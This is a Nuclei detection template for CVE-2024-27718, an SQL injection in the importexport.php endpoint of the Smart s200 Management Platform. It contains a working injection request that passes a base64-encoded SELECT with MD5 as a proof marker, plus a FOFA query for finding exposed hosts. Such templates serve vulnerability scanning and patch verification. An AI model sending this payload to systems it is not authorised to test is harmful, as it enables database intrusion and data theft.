Smart s200 Management Platform v.S200 - SQL Injection

id: CVE-2024-27718

info:
  name: Smart s200 Management Platform v.S200 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
  impact: |
    Authenticated attackers can extract sensitive database information via SQL injection in the importexport.php component.
  remediation: |
    Update Smart s200 Management Platform to a version that addresses CVE-2024-27718.
  reference:
    - https://github.com/tldjgggg/cve/blob/main/sql.md
  classification:
    epss-score: 0.01101
    epss-percentile: 0.61691
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart-s45f,sqli,vuln

variables:
  num: "{{rand_int(9000000, 9999999)}}"
  cmd: "select+9,md5({{num}}),9"

http:
  - raw:
      - |
        GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205567e972ed8bb677267b79d71e205275b7cfe7bdf9b4b8904f83ca756b008455022100f66e11c40e2b126f30754e0ede27a1224a794229316fa695d2941570e5ce70bf:922c64590222798bb761d5b6d8e72950